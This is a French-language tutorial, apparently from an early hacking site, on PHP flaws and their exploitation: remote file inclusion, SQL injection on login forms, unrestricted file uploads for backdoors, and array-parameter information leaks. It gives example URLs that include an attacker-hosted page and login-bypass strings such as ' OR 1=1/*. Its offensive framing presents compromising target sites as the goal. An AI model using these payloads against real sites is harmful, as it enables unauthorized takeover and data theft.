##### - Failles PHP & Erreur MySQL - ##### int sommaire; { ############ # Sommaire # ############ # Intro # # Auditer: # # include # # injec. # # upload # # array # # Fin # ############ } int Intro; { Php...un language aillant le beonheur d'être dynamique, de facilité grandement la vie du webmaster pour ses site. Elas, trois fois élas, le php est un language dangereux. Un simple script mal fais, et une immence porte est ouverte aux pirates. Dans cette page, vous trouverez quelques bug php qui peuvent permettre à un pirate d'entrer de prendre le contrôle d'un site. Je vous souhaite, une agréable lecture. Snhacke } int Auditer; { La recherche de faille php se fait généralement dans l'url, où dans des script comme les protection à des zones dites protégé par un login et un mot de passe, des fonctions mails, etc... Tout comme les vulnérabilitées de type XSS (voir tutoriel vuln.XSS) le php peut donc être testé là ou l'utilisateur peut entrer des mots. int include; { La vulnérabilité de type include, se situe la barre url. Cette faille, qui permet à un utilisateur d'entrer une page dite externe au site cible, est dangereuse dans le fait que si la page que nous incluons est un script contenant des fonctions sensibles(effacer, modifier, remplacer, etc...) celà aura un impact direct sur le site en question. Voyons ça par la pratique: www.sitecible.com est fais en php. Lorsque nous cliquons sur un de ses liens, par exemple "news", l'url devient: www.sitecible.com/index.php?page=news Comprenons là, qu'il y a plusieurs nouveautées. Tout d'abord, "index.php?page=" page est une variable, elle pourrait etre n'importe quoi (index.php?var= ; index.php?p= ; index.php?salut= ; index.php?ville= ; index.php?age= ; etc...), c'est cette variable qui contien notre faille. Ensuite, il y a "news", c'est la page que nous avons demandée. Elle aussi, elle pourrait être "presque" n'importe quoi, tant que cette une page du site linké. En effet, imaginez que nous entrons dans le site via une autre vulnérabilité et que nous modifions la page index.php pour ouvrir cette faille. sacré scénario, mais possible. Bref, nous savons maintenant que c'est une fonction include() de php qui est utilisée. Si nous souhaitons savoir si le site est réellement faillible, nous devons essayé d'inclure une page externe. le plus fréquent, c'est d'essayé d'inclure google: www.sitecible.com/index.php?page=http://www.google.fr. La plupart du temps, vous retomberez sur index.php, ou une page vous annonçant que "la page demandée" n'est pas accessible.(Quoi que si on cherche bien, c'est encore trouvable.) Si, au contraire google s'affiche quelque part(ce n'est pas toujours au beau milieu de la page...) c'est que notre faille est bien présente. Nous devons donc maintenant créer nous même une page php que nous hébérgerons (exemple: multimania) et que nous inclurons sur le site: www.sitecible.com/index.php?page=http://votre_site.multimnia.fr/votre_page.php. Le site est donc pris. Ci-dessous, les scripts php du thème include: - Script php permettant d'exploiter la faille: - Script permettant de sécurisé la faille: } int injec; { La vulnérabilité de type injection (connu sous le nom d' injection SQL) se situe dans la barre d'url et les petits script comme les script de login que nous allons aborder. Cette faille est extrêmement dangereuse du au fait qu'elle touche ce qui "cache" les mots de passe et autres informations sensibles. Par conséquent, se loguer en administrateur du site cible est pas compliqué. Nous ne verrons pas (encore?) ici comment exploiter cette faille via la barre d'url. Simplement le danger des script de login mal créé. En admettant que 1 sera toujours egal à 1, que a sera toujours egal à a, nous pouvons testé notre page login: login: ' OR 'a'='a password: ' OR 'a'='a login: ' OR 1=1/* password: ' OR 1=1/* etc... A vous d'imaginer ce que vous voulez. Comment celà se passe? Et bien, tout celà est assez compliqué si vous ne codez pas en PHP/MySQL. Cependant, je vous propose d'allez rendre une petite visite au site de frog-m@n qui explique bien mieux que moi :) -> http://www.phpsecure.info/v2/article/InjSql.php Je suis navré, mais je n'ai pas les mots et c'est à votre avantage de connaître son site ;) } int upload; { La vulnérabilité de type upload se situe dans les scripts php, mais touche à l'url une fois la faille exploitée. Il y a parfois, des sites, (j'entends par là, pas des CMS comment nuked-klan, php-nuke, etc... ou des forums comme phpBB, IPB, etc..) qui vous permette voir, demande, de mettre une images (photo, icone, etc...). Les formats, dont j'espère que vous les connaissez, devraient-être restreint. Hors, ce n'est pas toujours le cas. Si vous pouvez en effet uploader un fichier php alors, vous pourrez uploader une backdoor, un rootkit, ou ce que vous voudrez. C'est la que c'est dangereux, si vous pouvez uploader une backdoor, c'est comme si vous "possediez" le site. Le seul moyen de l'auditer, est de testé si vous pouvez envoyer un fichier php. Pour apprendre a faire une backdoor, je vous conseille d'apprendre le php/mysql. } int array; { Array est une bonne vulnérabilité, et je bloque sur celle-ci car je sais pas trop comment vous la décrire, le mieux c'est de la trouver. imaginez un site de cette structure: www.sitecible.com/index.php?page=1. Ce ne vous est pas inconnu n'est pas? Essayé de faire: www.sitecible.com/index.php?page[]=1 www.sitecible.com/index.php?page[=1 Vous devriez, si y a la faille (pas dans php5), avoir quelques informations sur le site. (elle n'est donc pas dangereuse directement, seule les informations qu'elle livre le sont) Encore une fois, visitez le site de frog-m@n ( http://www.phpsecure.info/v2/article/BugPHPArray.php ) pour voir bien précisemment de quoi il retourne. } int fin; { Comme vous le constatez, il est important de savoir la programmation pour les vulnérabilitées. Si vous avez des questions, n'hésitez pas. Snhacke }